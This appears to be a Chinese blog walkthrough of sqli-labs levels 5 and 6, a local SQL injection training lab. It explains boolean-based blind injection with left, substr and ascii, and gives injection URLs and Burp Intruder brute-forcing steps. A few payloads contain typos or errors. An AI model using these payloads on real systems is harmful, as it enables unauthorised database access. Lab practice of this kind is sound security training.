sqli-labs(5-6关)

时间:2022-01-30 16:05:26

知识点:

  1.left函数,left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。

     sqli-labs(5-6关)

  2.regexp函数,例如:select user()regexp ‘r’;user的结果是root,regexp为匹配root的正则表达式。

          sqli-labs(5-6关)

  3.like函数,例如:select user()like ‘ro%’;与regexp函数相似

    sqli-labs(5-6关)

  4.substr(a,b,c),从位置b开始,截取a字符串c位长度 

   sqli-labs(5-6关)

  5.ascii函数,将某个字符串转化为ascii值

    sqli-labs(5-6关)

   6.chr(数字)或者是ord(‘字母’),使用python中的这两个函数可以判断当前的ascii值是多少

      sqli-labs(5-6关)

   7.以security库为例:

      select left(database(),1)=‘s’;  判断前一位是否是s

      select database() regepx ‘s‘;  匹配第一个字符是否是s

      select database() like ‘s%‘;  匹配第一个字符是否是s

      select substr((select database()),1,1)=‘s‘;  匹配第一个字符是否是s

      select substr((select database(),1,3)=‘sec‘;  匹配前三个字符是否是sec

      select ascii(substr((select database()),1,1));  直接回显是115

         select ascii(substr((select database()),1,1))>110;  如果大于110,就返回1,否则返回0

第五关(Less-5):boolean注入

  1.根据提示,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1

sqli-labs(5-6关)

  2.在输入id为1000,发现没有回显值

sqli-labs(5-6关)

  通过1,2发现,正确是会返回结果You are in......,错误是无返回结果

  3.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘,出现错误,报错信息显示在1附近多余一个分号,故存在SQL注入漏洞

sqli-labs(5-6关)

  4.使用order查看列数,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘ order by 3 -- ,显示正常

sqli-labs(5-6关)

  5.将3改为4,输入 http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘ order by 4 -- ,显示Unkown,说明有三列

sqli-labs(5-6关)

  6. 不能使用union select进行联合查询,因为没有输出用户和密码,正确输出You are in...,错误不会显示

  7.使用left函数,判断第一位是否是s,返回正常,说明第一位是s

sqli-labs(5-6关)

  8.接下来进行第二位的猜测,输入se,猜测正确,前两位是se

sqli-labs(5-6关)

  9.使用BurpLoader,打开火狐的代理。当第一位不知道时,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘and left((select database()),1)=‘a‘ -- ,抓包得到数据

sqli-labs(5-6关)

  10.将其发送至爆破模块,首先清楚美元符号

sqli-labs(5-6关)

  11.我们爆破的是第一位的值,即报文中的a,将a作为变量添加美元符号

sqli-labs(5-6关)

 

  12.点击payloads选择

sqli-labs(5-6关)

  13.点击Options,将线程改为30,进行暴力破解

sqli-labs(5-6关)

  14.通过返回的长度进行观察,s返回的长度是1009,而其余是1025

sqli-labs(5-6关)

  15.查看返回1009的情况下的数据,出现You are in...,说明数据正确,第一位即为s

sqli-labs(5-6关)

  16.第一位即为s,接下来进行第二位的猜解,

sqli-labs(5-6关)

   17.点击payloads选择

sqli-labs(5-6关)

   18.点击Options,调节线程,然后进行暴力破解

sqli-labs(5-6关)

  19.观察长度发现,e的长度与其他不同,查看返回结果,发现You are in...,说明第二位即为e,其余爆破步骤均相同,即可得到security库名。

sqli-labs(5-6关)

第六关(Less-6):

  1.根据提示,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1,根据第五关可知,显示You are in...为正常

sqli-labs(5-6关)

  2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1‘,显示正常

sqli-labs(5-6关)

  3.将单引号改为双引号,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1",出现错误,可知存在注入漏洞

sqli-labs(5-6关)

  4.使用order by查看有几列,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 3 -- ,返回正常

sqli-labs(5-6关)

  5.将3改为4,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 4 -- ,发现错误,所以存在三列

sqli-labs(5-6关)

  6.使用BurpLoader,打开火狐的代理。当第一位不知道时,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1‘and left((select database()),1)=‘a‘ -- ,抓包得到数据

sqli-labs(5-6关)

  7.将其发送至爆破模块,首先清楚美元符号

sqli-labs(5-6关)

  8.我们爆破的是第一位的值,即报文中的a,将a作为变量添加美元符号

sqli-labs(5-6关)

  9.设置payloads和Options

sqli-labs(5-6关) sqli-labs(5-6关)

   10.进行暴力破解,观察长度可知,s与其余长度均不相同,再查看返回数据可知,出现You are in......,可知第一位即为s,其余为爆破步骤相同

sqli-labs(5-6关)